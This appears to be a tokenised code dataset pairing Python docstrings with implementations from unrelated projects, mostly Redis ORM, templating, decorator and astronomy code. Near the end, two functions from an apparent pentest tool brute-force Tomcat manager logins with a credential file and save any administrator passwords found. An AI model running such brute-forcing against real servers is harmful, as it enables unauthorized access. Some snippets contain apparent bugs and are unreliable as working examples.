signature:
def save ( self , obj , usePipeline = True , forceID = False , cascadeSave = True , conn = None ) :
    '''save - Save an object / objects associated with this model .
 You probably want to just do object . save ( ) instead of this , but to save multiple objects at once in a single transaction ,
 you can use :
 MyModel . saver . save ( myObjs )
 @ param obj < IndexedRedisModel or list < IndexedRedisModel > - The object to save , or a list of objects to save
 @ param usePipeline - Use a pipeline for saving . You should always want this , unless you are calling this function from within an existing pipeline .
 @ param forceID - if not False , force ID to this . If obj is list , this is also list . Forcing IDs also forces insert . Up to you to ensure ID will not clash .
 @ param cascadeSave < bool > Default True - If True , any Foreign models linked as attributes that have been altered
 or created will be saved with this object . If False , only this object ( and the reference to an already - saved foreign model ) will be saved .
 @ param conn - A connection or None
 @ note - if no ID is specified
 @ return - List of pks'''

implementation:
if conn is None :
    conn = self . _get_connection ( )
# If we are in a pipeline , we need an external connection to fetch any potential IDs for inserts .
if usePipeline is True :
    idConn = conn
else :
    idConn = self . _get_new_connection ( )
if issubclass ( obj . __class__ , ( list , tuple ) ) :
    objs = obj
else :
    objs = [ obj ]
if usePipeline is True :
    pipeline = conn . pipeline ( )
else :
    pipeline = conn
oga = object . __getattribute__
if cascadeSave is True : # TODO : Confirm that this pipeline logic works even when doPipeline is False
# ( i . e . that cascading works through calls to reset )
# foreignPipelines = OrderedDict ( )
    foreignSavers = { }
    for thisObj in objs :
        if not thisObj . foreignFields :
            continue
        foreignFields = thisObj . foreignFields
        for foreignField in foreignFields :
            rawObj = oga ( thisObj , str ( foreignField ) )
            if rawObj in ( None , irNull ) or not rawObj . isFetched ( ) :
                continue
            foreignObjects = oga ( thisObj , str ( foreignField ) ) . getObjs ( )
            for foreignObject in foreignObjects :
                doSaveForeign = False
                if getattr ( foreignObject , '_id' , None ) :
                    if foreignObject . hasUnsavedChanges ( cascadeObjects = True ) :
                        doSaveForeign = True
                else :
                    doSaveForeign = True
                # OLD :
                # Assemble each level of Foreign fields into an ordered pipeline . Based on semi - recursion ,
                # we will save the deepest level first in a pipeline , then the next up , on until we complete any subs
                # NEW :
                # Assemble all foreign fields into current pipeline and execute all in one block
                if doSaveForeign is True :
                    if foreignField not in foreignSavers : # foreignPipelines [ foreignField ] = self . _ get _ new _ connection ( ) . pipeline ( )
                        foreignSavers [ foreignField ] = IndexedRedisSave ( foreignObject . __class__ )
                    # foreignSavers [ foreignField ] . save ( foreignObject , usePipeline = False , cascadeSave = True , conn = foreignPipelines [ foreignField ] )
                    foreignSavers [ foreignField ] . save ( foreignObject , usePipeline = False , cascadeSave = True , conn = pipeline )
# if foreignPipelines :
# for foreignPipeline in foreignPipelines . values ( ) :
# foreignPipeline . execute ( )
objsLen = len ( objs )
if forceID is not False : # Compat with old poor design . . : (
    if isinstance ( forceID , ( list , tuple ) ) :
        forceIDs = forceID
    else :
        forceIDs = [ forceID ]
    isInserts = [ ]
    i = 0
    while i < objsLen :
        if forceIDs [ i ] is not False :
            objs [ i ] . _id = forceIDs [ i ]
            isInserts . append ( True )
        else :
            isInsert = not bool ( getattr ( obj , '_id' , None ) )
            if isInsert is True :
                objs [ i ] . _id = self . _getNextID ( idConn )
            isInserts . append ( isInsert )
        i += 1
else :
    isInserts = [ ]
    for obj in objs :
        isInsert = not bool ( getattr ( obj , '_id' , None ) )
        if isInsert is True :
            obj . _id = self . _getNextID ( idConn )
        isInserts . append ( isInsert )
ids = [ ]
# Note ids can be derived with all information above . .
i = 0
while i < objsLen :
    self . _doSave ( objs [ i ] , isInserts [ i ] , conn , pipeline )
    ids . append ( objs [ i ] . _id )
    i += 1
if usePipeline is True :
    pipeline . execute ( )
return ids


signature:
def _doSave ( self , obj , isInsert , conn , pipeline = None ) :
    '''_ doSave - Internal function to save a single object . Don ' t call this directly .
 Use " save " instead .
 If a pipeline is provided , the operations ( setting values , updating indexes , etc )
 will be queued into that pipeline .
 Otherwise , everything will be executed right away .
 @ param obj - Object to save
 @ param isInsert - Bool , if insert or update . Either way , obj . _ id is expected to be set .
 @ param conn - Redis connection
 @ param pipeline - Optional pipeline , if present the items will be queued onto it . Otherwise , go directly to conn .'''

implementation:
if pipeline is None :
    pipeline = conn
newDict = obj . asDict ( forStorage = True )
key = self . _get_key_for_id ( obj . _id )
if isInsert is True :
    for thisField in self . fields :
        fieldValue = newDict . get ( thisField , thisField . getDefaultValue ( ) )
        pipeline . hset ( key , thisField , fieldValue )
        # Update origData with the new data
        if fieldValue == IR_NULL_STR :
            obj . _origData [ thisField ] = irNull
        else :
            obj . _origData [ thisField ] = object . __getattribute__ ( obj , str ( thisField ) )
    self . _add_id_to_keys ( obj . _id , pipeline )
    for indexedField in self . indexedFields :
        self . _add_id_to_index ( indexedField , obj . _id , obj . _origData [ indexedField ] , pipeline )
else :
    updatedFields = obj . getUpdatedFields ( )
    for thisField , fieldValue in updatedFields . items ( ) :
        ( oldValue , newValue ) = fieldValue
        oldValueForStorage = thisField . toStorage ( oldValue )
        newValueForStorage = thisField . toStorage ( newValue )
        pipeline . hset ( key , thisField , newValueForStorage )
        if thisField in self . indexedFields :
            self . _rem_id_from_index ( thisField , obj . _id , oldValueForStorage , pipeline )
            self . _add_id_to_index ( thisField , obj . _id , newValueForStorage , pipeline )
        # Update origData with the new data
        obj . _origData [ thisField ] = newValue


signature:
def reindex ( self , objs , conn = None ) :
    '''reindex - Reindexes a given list of objects . Probably you want to do Model . objects . reindex ( ) instead of this directly .
 @ param objs list < IndexedRedisModel > - List of objects to reindex
 @ param conn < redis . Redis or None > - Specific Redis connection or None to reuse'''

implementation:
if conn is None :
    conn = self . _get_connection ( )
pipeline = conn . pipeline ( )
objDicts = [ obj . asDict ( True , forStorage = True ) for obj in objs ]
for indexedFieldName in self . indexedFields :
    for objDict in objDicts :
        self . _rem_id_from_index ( indexedFieldName , objDict [ '_id' ] , objDict [ indexedFieldName ] , pipeline )
        self . _add_id_to_index ( indexedFieldName , objDict [ '_id' ] , objDict [ indexedFieldName ] , pipeline )
pipeline . execute ( )


signature:
def compat_convertHashedIndexes ( self , objs , conn = None ) :
    '''compat _ convertHashedIndexes - Reindex all fields for the provided objects , where the field value is hashed or not .
 If the field is unhashable , do not allow .
 NOTE : This works one object at a time . It is intended to be used while your application is offline ,
 as it doesn ' t make sense to be changing your model while applications are actively using it .
 @ param objs < IndexedRedisModel objects to convert >
 @ param conn < redis . Redis or None > - Specific Redis connection or None to reuse .'''

implementation:
if conn is None :
    conn = self . _get_connection ( )
# Do one pipeline per object .
# XXX : Maybe we should do the whole thing in one pipeline ?
fields = [ ]
# A list of the indexed fields
# Iterate now so we do this once instead of per - object .
for indexedField in self . indexedFields :
    origField = self . fields [ indexedField ]
    # Check if type supports configurable hashIndex , and if not skip it .
    if 'hashIndex' not in origField . __class__ . __new__ . __code__ . co_varnames :
        continue
    if indexedField . hashIndex is True :
        hashingField = origField
        regField = origField . copy ( )
        regField . hashIndex = False
    else :
        regField = origField
        # Maybe copy should allow a dict of override params ?
        hashingField = origField . copy ( )
        hashingField . hashIndex = True
    fields . append ( ( origField , regField , hashingField ) )
objDicts = [ obj . asDict ( True , forStorage = True ) for obj in objs ]
# Iterate over all values . Remove the possibly stringed index , the possibly hashed index , and then put forth the hashed index .
for objDict in objDicts :
    pipeline = conn . pipeline ( )
    pk = objDict [ '_id' ]
    for origField , regField , hashingField in fields :
        val = objDict [ indexedField ]
        # Remove the possibly stringed index
        self . _rem_id_from_index ( regField , pk , val , pipeline )
        # Remove the possibly hashed index
        self . _rem_id_from_index ( hashingField , pk , val , pipeline )
        # Add the new ( hashed or unhashed ) form .
        self . _add_id_to_index ( origField , pk , val , pipeline )
    # Launch all at once
    pipeline . execute ( )


signature:
def deleteOne ( self , obj , conn = None ) :
    '''deleteOne - Delete one object
 @ param obj - object to delete
 @ param conn - Connection to reuse , or None
 @ return - number of items deleted ( 0 or 1)'''

implementation:
if not getattr ( obj , '_id' , None ) :
    return 0
if conn is None :
    conn = self . _get_connection ( )
    pipeline = conn . pipeline ( )
    executeAfter = True
else :
    pipeline = conn
    # In this case , we are inheriting a pipeline
    executeAfter = False
pipeline . delete ( self . _get_key_for_id ( obj . _id ) )
self . _rem_id_from_keys ( obj . _id , pipeline )
for indexedFieldName in self . indexedFields :
    self . _rem_id_from_index ( indexedFieldName , obj . _id , obj . _origData [ indexedFieldName ] , pipeline )
obj . _id = None
if executeAfter is True :
    pipeline . execute ( )
return 1


signature:
def deleteByPk ( self , pk ) :
    '''deleteByPk - Delete object associated with given primary key'''

implementation:
obj = self . mdl . objects . getOnlyIndexedFields ( pk )
if not obj :
    return 0
return self . deleteOne ( obj )


signature:
def deleteMultiple ( self , objs ) :
    '''deleteMultiple - Delete multiple objects
 @ param objs - List of objects
 @ return - Number of objects deleted'''

implementation:
conn = self . _get_connection ( )
pipeline = conn . pipeline ( )
numDeleted = 0
for obj in objs :
    numDeleted += self . deleteOne ( obj , pipeline )
pipeline . execute ( )
return numDeleted


signature:
def deleteMultipleByPks ( self , pks ) :
    '''deleteMultipleByPks - Delete multiple objects given their primary keys
 @ param pks - List of primary keys
 @ return - Number of objects deleted'''

implementation:
if type ( pks ) == set :
    pks = list ( pks )
if len ( pks ) == 1 :
    return self . deleteByPk ( pks [ 0 ] )
objs = self . mdl . objects . getMultipleOnlyIndexedFields ( pks )
return self . deleteMultiple ( objs )


signature:
def destroyModel ( self ) :
    '''destroyModel - Destroy everything related to this model in one swoop .
 Same effect as Model . reset ( [ ] ) - Except slightly more efficient .
 This function is called if you do Model . objects . delete ( ) with no filters set .
 @ return - Number of keys deleted . Note , this is NOT number of models deleted , but total keys .'''

implementation:
conn = self . _get_connection ( )
pipeline = conn . pipeline ( )
pipeline . eval ( """
		local matchingKeys = redis.call('KEYS', '%s*')

		for _,key in ipairs(matchingKeys) do
			redis.call('DEL', key)
		end

		return #matchingKeys
		""" % ( '' . join ( [ INDEXED_REDIS_PREFIX , self . mdl . KEY_NAME , ':' ] ) , ) , 0 )
return pipeline . execute ( ) [ 0 ]


signature:
def string ( html , start_on = None , ignore = ( ) , use_short = True , ** queries ) :
    '''Returns a blox template from an html string'''

implementation:
if use_short :
    html = grow_short ( html )
return _to_template ( fromstring ( html ) , start_on = start_on , ignore = ignore , ** queries )


signature:
def file ( file_object , start_on = None , ignore = ( ) , use_short = True , ** queries ) :
    '''Returns a blox template from a file stream object'''

implementation: return string ( file_object . read ( ) , start_on = start_on , ignore = ignore , use_short = use_short , ** queries )


signature:
def filename ( file_name , start_on = None , ignore = ( ) , use_short = True , ** queries ) :
    '''Returns a blox template from a valid file path'''

implementation:
with open ( file_name ) as template_file :
    return file ( template_file , start_on = start_on , ignore = ignore , use_short = use_short , ** queries )


signature:
def create_from_string ( self , string , context = EMPTY_CONTEXT , * args , ** kwargs ) :
    """Deserializes a new instance from a string .
 This is a convenience method that creates a StringIO object and calls create _ instance _ from _ stream ( ) ."""

implementation:
if not PY2 and not isinstance ( string , bytes ) :
    raise TypeError ( "string should be an instance of bytes in Python 3" )
io = StringIO ( string )
instance = self . create_from_stream ( io , context , * args , ** kwargs )
io . close ( )
return instance


signature:
def require ( method ) :
    """Decorator for managing chained dependencies of different class
 properties . The @ require decorator allows developers to specify
 that a function call must be operated on before another property
 or function call is accessed , so that data and processing for an
 entire class can be evaluated in a lazy way ( i . e . not all upon
 instantiation ) .
 Examples :
 > > > class Foo ( Bar ) :
 > > > def a ( self ) :
 > > > print ' a ! '
 > > > return 1
 > > > @ require ( ' a ' )
 > > > @ property
 > > > def b ( self ) :
 > > > print ' b ! '
 > > > return self . a + 1
 > > > foo = Foo ( )
 > > > print foo . b"""

implementation:
def decorator ( func ) :
    @ wraps ( func )
    def wrapper ( * args , ** kwargs ) : # throw exception if input class doesn ' t have requirement
        if not hasattr ( args [ 0 ] , method ) :
            raise AssertionError ( '{} class has no method {}()' . format ( args [ 0 ] . __class__ . __name__ , method ) )
        # create property to record that method has been called
        callmethod = method + '_called'
        if not hasattr ( args [ 0 ] , callmethod ) :
            setattr ( args [ 0 ] , callmethod , False )
        # call the method if it hasn ' t yet been called
        if not getattr ( args [ 0 ] , callmethod ) :
            getattr ( args [ 0 ] , method ) ( )
            setattr ( args [ 0 ] , callmethod , True )
        return func ( * args , ** kwargs )
    return wrapper
return decorator


signature:
def exception ( exception ) :
    """Wrap function / method with specific exception if any
 exception occurs during function execution .
 Args :
 exception ( Exception ) : Exception to re - cast error as .
 Examples :
 > > > from gems import exception
 > > > class MyCustomException ( Exception ) :
 > > > pass
 > > > @ exception ( MyCustomException )
 > > > def func ( ) :
 > > > return 1 / 0
 > > > func ( )
 Traceback ( most recent call last ) :
 File " < stdin > " , line 1 , in < module >
 File " gems / decorators . py " , line 96 , in wrapper
 return func ( * args , * * kwargs )
 File " < stdin > " , line 3 , in func
 _ _ main _ _ . MyCustomException : integer division or modulo by zero"""

implementation:
def decorator ( func ) :
    @ wraps ( func )
    def wrapper ( * args , ** kwargs ) :
        try :
            return func ( * args , ** kwargs )
        except Exception as exe :
            raise raise_with_traceback ( exception ( exe ) )
    return wrapper
return decorator


signature:
def keywords ( func ) :
    """Accumulate all dictionary and named arguments as
 keyword argument dictionary . This is generally useful for
 functions that try to automatically resolve inputs .
 Examples :
 > > > @ keywords
 > > > def test ( * args , * * kwargs ) :
 > > > return kwargs
 > > > print test ( { ' one ' : 1 } , two = 2)
 { ' one ' : 1 , ' two ' : 2}"""

implementation:
@ wraps ( func )
def decorator ( * args , ** kwargs ) :
    idx = 0 if inspect . ismethod ( func ) else 1
    if len ( args ) > idx :
        if isinstance ( args [ idx ] , ( dict , composite ) ) :
            for key in args [ idx ] :
                kwargs [ key ] = args [ idx ] [ key ]
            args = args [ : idx ]
    return func ( * args , ** kwargs )
return decorator


signature:
def getCompressMod ( self ) :
    '''getCompressMod - Return the module used for compression on this field
 @ return < module > - The module for compression'''

implementation:
if self . compressMode == COMPRESS_MODE_ZLIB :
    return zlib
if self . compressMode == COMPRESS_MODE_BZ2 :
    return bz2
if self . compressMode == COMPRESS_MODE_LZMA : # Since lzma is not provided by python core in python2 , search out some common alternatives .
# Throw exception if we can find no lzma implementation .
    global _lzmaMod
    if _lzmaMod is not None :
        return _lzmaMod
    try :
        import lzma
        _lzmaMod = lzma
        return _lzmaMod
    except : # Python2 does not provide " lzma " module , search for common alternatives
        try :
            from backports import lzma
            _lzmaMod = lzma
            return _lzmaMod
        except :
            pass
        try :
            import lzmaffi as lzma
            _lzmaMod = lzma
            return _lzmaMod
        except :
            pass
        raise ImportError ( "Requested compress mode is lzma and could not find a module providing lzma support. Tried: 'lzma', 'backports.lzma', 'lzmaffi' and none of these were available. Please install one of these, or to use an unlisted implementation, set IndexedRedis.fields.compressed._lzmaMod to the module (must implement standard python compression interface)" )


signature:
def output ( self , to = None , * args , ** kwargs ) :
    '''Outputs the set text'''

implementation: to . write ( str ( self . _value ) )


signature:
def toBytes ( self , value ) :
    '''toBytes - Convert a value to bytes using the encoding specified on this field
 @ param value < str > - The field to convert to bytes
 @ return < bytes > - The object encoded using the codec specified on this field .
 NOTE : This method may go away .'''

implementation:
if type ( value ) == bytes :
    return value
return value . encode ( self . getEncoding ( ) )


signature:
def deprecatedMessage ( msg , key = None , printStack = False ) :
    '''deprecatedMessage - Print a deprecated messsage ( unless they are toggled off ) . Will print a message only once ( based on " key " )
 @ param msg < str > - Deprecated message to possibly print
 @ param key < anything > - A key that is specific to this message .
 If None is provided ( default ) , one will be generated from the md5 of the message .
 However , better to save cycles and provide a unique key if at all possible .
 The decorator uses the function itself as the key .
 @ param printStack < bool > Default False , if True print a stack trace'''

implementation:
if __deprecatedMessagesEnabled is False :
    return
if not _alreadyWarned : # First warning , let them know how to disable .
    sys . stderr . write ( '== DeprecatedWarning: warnings can be disabled by calling IndexedRedis.toggleDeprecatedMessages(False)\n' )
if key is None :
    from . compat_str import tobytes
    key = md5 ( tobytes ( msg ) ) . hexdigest ( )
if key not in _alreadyWarned :
    _alreadyWarned [ key ] = True
    sys . stderr . write ( '== DeprecatedWarning: %s\n' % ( msg , ) )
    if printStack :
        sys . stderr . write ( '  at:\n' )
        curStack = traceback . extract_stack ( )
        sys . stderr . write ( '  ' + '\n  ' . join ( traceback . format_list ( curStack [ : - 2 ] ) ) . replace ( '\t' , '    ' ) + '\n' )


signature:
def ConstField ( name , value , marshal = None ) :
    """This macro can be used in several methods :
 > > > ConstField ( " foo " , 5 , UBInt8)
 This created a constant field called ` ` foo ` ` with a value of 5 and is serialized / deserialized using UBInt8.
 > > > ConstField ( " foo " , MyStruct ( my _ field = 1 , my _ other _ field = 2 ) )
 This time ` ` foo ` ` is set with the ` ` MyStruct ` ` instance passed here . Notice that we don ' t need to pass an I / O
 argument because the value is an I / O instance by itself .
 : param name : name of the field
 : param value : the value to use as a constant
 : param marshal : a marshal instance to serialize / deserialize this field ( optional if ` ` value ` ` is a marshal )
 : rtype : Field"""

implementation:
if marshal is None :
    marshal = value
if isinstance ( marshal , Struct ) :
    marshal = type ( marshal )
elif not isinstance ( marshal , Marshal ) :
    raise InstructError ( "don't know how to serialize const field %s value %s (consider adding a marshal argument)" % ( name , value ) )
return OrigConstField ( name , marshal , value )


signature:
def keep_kwargs_partial ( func , * args , ** keywords ) :
    """Like functools . partial but instead of using the new kwargs , keeps the old ones ."""

implementation:
def newfunc ( * fargs , ** fkeywords ) :
    newkeywords = fkeywords . copy ( )
    newkeywords . update ( keywords )
    return func ( * ( args + fargs ) , ** newkeywords )
newfunc . func = func
newfunc . args = args
newfunc . keywords = keywords
return newfunc


signature:
def dump ( self , stream , contentType = None , version = None ) :
    '''Serializes this NoteItem to a byte - stream and writes it to the
 file - like object ` stream ` . ` contentType ` and ` version ` must be one
 of the supported content - types , and if not specified , will default
 to ` ` text / plain ` ` .'''

implementation:
if contentType is None or contentType == constants . TYPE_TEXT_PLAIN :
    stream . write ( self . body )
    return
if contentType == constants . TYPE_SIF_NOTE :
    root = ET . Element ( 'note' )
    # TODO : check ` version ` . . .
    ET . SubElement ( root , 'SIFVersion' ) . text = '1.1'
    if self . name is not None :
        ET . SubElement ( root , 'Subject' ) . text = self . name
    if self . body is not None :
        ET . SubElement ( root , 'Body' ) . text = self . body
    for name , values in self . extensions . items ( ) :
        for value in values :
            ET . SubElement ( root , name ) . text = value
    ET . ElementTree ( root ) . write ( stream )
    return
raise common . InvalidContentType ( 'cannot serialize NoteItem to "%s"' % ( contentType , ) )


signature:
def load ( cls , stream , contentType = None , version = None ) :
    '''Reverses the effects of the : meth : ` dump ` method , creating a NoteItem
 from the specified file - like ` stream ` object .'''

implementation:
if contentType is None or contentType == constants . TYPE_TEXT_PLAIN :
    data = stream . read ( )
    name = data . split ( '\n' ) [ 0 ]
    # todo : localize ? ! . . .
    name = re . compile ( r'^(title|name):\s*' , re . IGNORECASE ) . sub ( '' , name ) . strip ( )
    return NoteItem ( name = name , body = data )
if contentType == constants . TYPE_SIF_NOTE :
    data = ET . parse ( stream ) . getroot ( )
    ret = NoteItem ( name = data . findtext ( 'Subject' ) , body = data . findtext ( 'Body' ) )
    for child in data :
        if child . tag in ( 'SIFVersion' , 'Subject' , 'Body' ) :
            continue
        ret . addExtension ( child . tag , child . text )
    return ret
raise common . InvalidContentType ( 'cannot de-serialize NoteItem from "%s"' % ( contentType , ) )


signature:
def remote_jupyter_proxy_url ( port ) :
    """Callable to configure Bokeh ' s show method when a proxy must be
 configured .
 If port is None we ' re asking about the URL
 for the origin header ."""

implementation:
base_url = os . environ [ 'EXTERNAL_URL' ]
host = urllib . parse . urlparse ( base_url ) . netloc
# If port is None we ' re asking for the URL origin
# so return the public hostname .
if port is None :
    return host
service_url_path = os . environ [ 'JUPYTERHUB_SERVICE_PREFIX' ]
proxy_url_path = 'proxy/%d' % port
user_url = urllib . parse . urljoin ( base_url , service_url_path )
full_url = urllib . parse . urljoin ( user_url , proxy_url_path )
return full_url


signature:
def setup_notebook ( debug = False ) :
    """Called at the start of notebook execution to setup the environment .
 This will configure bokeh , and setup the logging library to be
 reasonable ."""

implementation:
output_notebook ( INLINE , hide_banner = True )
if debug :
    _setup_logging ( logging . DEBUG )
    logging . debug ( 'Running notebook in debug mode.' )
else :
    _setup_logging ( logging . WARNING )
# If JUPYTERHUB _ SERVICE _ PREFIX environment variable isn ' t set ,
# this means that you ' re running JupyterHub not with Hub in k8s ,
# and not using run _ local . sh ( which sets it to empty ) .
if 'JUPYTERHUB_SERVICE_PREFIX' not in os . environ :
    global jupyter_proxy_url
    jupyter_proxy_url = 'localhost:8888'
    logging . info ( 'Setting jupyter proxy to local mode.' )


signature:
def overview ( ) :
    """Creates a overview of the hosts per range ."""

implementation:
range_search = RangeSearch ( )
ranges = range_search . get_ranges ( )
if ranges :
    formatted_ranges = [ ]
    tags_lookup = { }
    for r in ranges :
        formatted_ranges . append ( { 'mask' : r . range } )
        tags_lookup [ r . range ] = r . tags
    search = Host . search ( )
    search = search . filter ( 'term' , status = 'up' )
    search . aggs . bucket ( 'hosts' , 'ip_range' , field = 'address' , ranges = formatted_ranges )
    response = search . execute ( )
    print_line ( "{0:<18} {1:<6} {2}" . format ( "Range" , "Count" , "Tags" ) )
    print_line ( "-" * 60 )
    for entry in response . aggregations . hosts . buckets :
        print_line ( "{0:<18} {1:<6} {2}" . format ( entry . key , entry . doc_count , tags_lookup [ entry . key ] ) )
else :
    print_error ( "No ranges defined." )


signature:
def resource_qualifier ( resource ) :
    """Split a resource in ( filename , directory ) tuple with taking care of external resources
 : param resource : A file path or a URI
 : return : ( Filename , Directory ) for files , ( URI , None ) for URI"""

implementation:
if resource . startswith ( "//" ) or resource . startswith ( "http" ) :
    return resource , None
else :
    return reversed ( op . split ( resource ) )


signature:
def create_hierarchy ( hierarchy , level ) :
    """Create an OrderedDict
 : param hierarchy : a dictionary
 : param level : single key
 : return : deeper dictionary"""

implementation:
if level not in hierarchy :
    hierarchy [ level ] = OrderedDict ( )
return hierarchy [ level ]


signature:
def default_chunker ( text , getreffs ) :
    """This is the default chunker which will resolve the reference giving a callback ( getreffs ) and a text object with its metadata
 : param text : Text Object representing either an edition or a translation
 : type text : MyCapytains . resources . inventory . Text
 : param getreffs : callback function which retrieves a list of references
 : type getreffs : function
 : return : List of urn references with their human readable version
 : rtype : [ ( str , str ) ]"""

implementation:
level = len ( text . citation )
return [ tuple ( [ reff . split ( ":" ) [ - 1 ] ] * 2 ) for reff in getreffs ( level = level ) ]


signature:
def scheme_chunker ( text , getreffs ) :
    """This is the scheme chunker which will resolve the reference giving a callback ( getreffs ) and a text object with its metadata
 : param text : Text Object representing either an edition or a translation
 : type text : MyCapytains . resources . inventory . Text
 : param getreffs : callback function which retrieves a list of references
 : type getreffs : function
 : return : List of urn references with their human readable version
 : rtype : [ ( str , str ) ]"""

implementation:
level = len ( text . citation )
types = [ citation . name for citation in text . citation ]
if types == [ "book" , "poem" , "line" ] :
    level = 2
elif types == [ "book" , "line" ] :
    return line_chunker ( text , getreffs )
return [ tuple ( [ reff . split ( ":" ) [ - 1 ] ] * 2 ) for reff in getreffs ( level = level ) ]


signature:
def line_chunker ( text , getreffs , lines = 30 ) :
    """Groups line reference together
 : param text : Text object
 : type text : MyCapytains . resources . text . api
 : param getreffs : Callback function to retrieve text
 : type getreffs : function ( level )
 : param lines : Number of lines to use by group
 : type lines : int
 : return : List of grouped urn references with their human readable version
 : rtype : [ ( str , str ) ]"""

implementation:
level = len ( text . citation )
source_reffs = [ reff . split ( ":" ) [ - 1 ] for reff in getreffs ( level = level ) ]
reffs = [ ]
i = 0
while i + lines - 1 < len ( source_reffs ) :
    reffs . append ( tuple ( [ source_reffs [ i ] + "-" + source_reffs [ i + lines - 1 ] , source_reffs [ i ] ] ) )
    i += lines
if i < len ( source_reffs ) :
    reffs . append ( tuple ( [ source_reffs [ i ] + "-" + source_reffs [ len ( source_reffs ) - 1 ] , source_reffs [ i ] ] ) )
return reffs


signature:
def level_chunker ( text , getreffs , level = 1 ) :
    """Chunk a text at the passage level
 : param text : Text object
 : type text : MyCapytains . resources . text . api
 : param getreffs : Callback function to retrieve text
 : type getreffs : function ( level )
 : return : List of urn references with their human readable version
 : rtype : [ ( str , str ) ]"""

implementation:
references = getreffs ( level = level )
return [ ( ref . split ( ":" ) [ - 1 ] , ref . split ( ":" ) [ - 1 ] ) for ref in references ]


signature:
def level_grouper ( text , getreffs , level = None , groupby = 20 ) :
    """Alternative to level _ chunker : groups levels together at the latest level
 : param text : Text object
 : param getreffs : GetValidReff query callback
 : param level : Level of citation to retrieve
 : param groupby : Number of level to groupby
 : return : Automatically curated references"""

implementation:
if level is None or level > len ( text . citation ) :
    level = len ( text . citation )
references = [ ref . split ( ":" ) [ - 1 ] for ref in getreffs ( level = level ) ]
_refs = OrderedDict ( )
for key in references :
    k = "." . join ( key . split ( "." ) [ : level - 1 ] )
    if k not in _refs :
        _refs [ k ] = [ ]
    _refs [ k ] . append ( key )
    del k
return [ ( join_or_single ( ref [ 0 ] , ref [ - 1 ] ) , join_or_single ( ref [ 0 ] , ref [ - 1 ] ) ) for sublist in _refs . values ( ) for ref in [ sublist [ i : i + groupby ] for i in range ( 0 , len ( sublist ) , groupby ) ] ]


signature:
def teff ( cluster ) :
    """Calculate Teff for main sequence stars ranging from Teff 3500K - 8000K . Use
 [ Fe / H ] of the cluster , if available .
 Returns a list of Teff values ."""

implementation:
b_vs , _ = cluster . stars ( )
teffs = [ ]
for b_v in b_vs :
    b_v -= cluster . eb_v
    if b_v > - 0.04 :
        x = ( 14.551 - b_v ) / 3.684
    else :
        x = ( 3.402 - math . sqrt ( 0.515 + 1.376 * b_v ) ) / 0.688
    teffs . append ( math . pow ( 10 , x ) )
return teffs


signature:
def color ( teffs ) :
    """Conventional color descriptions of stars .
 Source : https : / / en . wikipedia . org / wiki / Stellar _ classification"""

implementation:
colors = [ ]
for t in teffs :
    if t >= 7500 :
        colors . append ( 'blue_white' )
        # RGB : CAE1FF
    elif t >= 6000 :
        colors . append ( 'white' )
        # RGB : F6F6F6
    elif t >= 5200 :
        colors . append ( 'yellowish_white' )
        # RGB : FFFEB2
    elif t >= 3700 :
        colors . append ( 'pale_yellow_orange' )
        # RGB : FFB28B
    else :
        colors . append ( 'light_orange_red' )
        # RGB : FF9966
return colors


signature:
def table ( cluster ) :
    """Create a numpy . ndarray with all observed fields and
 computed teff and luminosity values ."""

implementation:
teffs = teff ( cluster )
lums = luminosity ( cluster )
arr = cluster . to_array ( )
i = 0
for row in arr :
    row [ 'lum' ] [ 0 ] = np . array ( [ lums [ i ] ] , dtype = 'f' )
    row [ 'temp' ] [ 0 ] = np . array ( [ teffs [ i ] ] , dtype = 'f' )
    i += 1
arr = round_arr_teff_luminosity ( arr )
return arr


signature:
def round_arr_teff_luminosity ( arr ) :
    """Return the numpy array with rounded teff and luminosity columns ."""

implementation:
arr [ 'temp' ] = np . around ( arr [ 'temp' ] , - 1 )
arr [ 'lum' ] = np . around ( arr [ 'lum' ] , 3 )
return arr


signature:
def brutefore_passwords ( ip , url , credentials , service ) :
    """Bruteforce function , will try all the credentials at the same time , splits the given credentials at a ' : ' ."""

implementation:
auth_requests = [ ]
for credential in credentials :
    split = credential . strip ( ) . split ( ':' )
    username = split [ 0 ]
    password = ''
    if len ( split ) > 1 :
        password = split [ 1 ]
    auth_requests . append ( grequests . get ( url , auth = ( username , password ) ) )
results = grequests . map ( auth_requests )
for result in results :
    if result and result . status_code == 200 :
        creds = result . request . headers [ 'Authorization' ] . split ( ' ' ) [ 1 ]
        creds = base64 . b64decode ( creds ) . decode ( 'utf-8' )
        creds = creds . split ( ':' )
        print_success ( "Found a password for tomcat: {0}:{1} at: {2}" . format ( creds [ 0 ] , creds [ 1 ] , url ) )
        credential = Credential ( secret = creds [ 1 ] , username = creds [ 0 ] , type = 'plaintext' , access_level = 'administrator' , service_id = service . id , host_ip = ip , description = 'Tomcat' )
        credential . save ( )


signature:
def main ( ) :
    """Checks the arguments to brutefore and spawns greenlets to perform the bruteforcing ."""

implementation:
services = ServiceSearch ( )
argparse = services . argparser
argparse . add_argument ( '-f' , '--file' , type = str , help = "File" )
arguments = argparse . parse_args ( )
if not arguments . file :
    print_error ( "Please provide a file with credentials seperated by ':'" )
    sys . exit ( )
services = services . get_services ( search = [ "Tomcat" ] , up = True , tags = [ '!tomcat_brute' ] )
credentials = [ ]
with open ( arguments . file , 'r' ) as f :
    credentials = f . readlines ( )
for service in services :
    print_notification ( "Checking ip:{} port {}" . format ( service . address , service . port ) )
    url = 'http://{}:{}/manager/html'
    gevent . spawn ( brutefore_passwords , service . address , url . format ( service . address , service . port ) , credentials , service )
    service . add_tag ( 'tomcat_brute' )
    service . update ( tags = service . tags )
gevent . wait ( )
# TODO fix stats
Logger ( ) . log ( "tomcat_brute" , "Performed tomcat bruteforce scan" , { 'scanned_services' : len ( services ) } )


signature:
def _diagram ( plot_figure , source = None , color = 'black' , line_color = '#444444' , xaxis_label = 'B-V [mag]' , yaxis_label = 'V [mag]' , name = None ) :
    """Use a : class : ` ~ bokeh . plotting . figure . Figure ` and x and y collections
 to create an H - R diagram ."""

implementation:
plot_figure . circle ( x = 'x' , y = 'y' , source = source , size = 5 , color = color , alpha = 1 , name = name , line_color = line_color , line_width = 0.5 )
plot_figure . xaxis . axis_label = xaxis_label
plot_figure . yaxis . axis_label = yaxis_label
plot_figure . yaxis . formatter = NumeralTickFormatter ( )


signature:
def cc_diagram ( cluster_name ) :
    """Create a : class : ` ~ bokeh . plotting . figure . Figure ` to create an H - R
 diagram using the cluster _ name ; then show it ."""

implementation:
x , y = get_hr_data ( cluster_name )
y_range = [ max ( y ) + 0.5 , min ( y ) - 0.25 ]
pf = figure ( y_range = y_range , title = cluster_name )
_diagram ( x , y , pf )
show_with_bokeh_server ( pf )


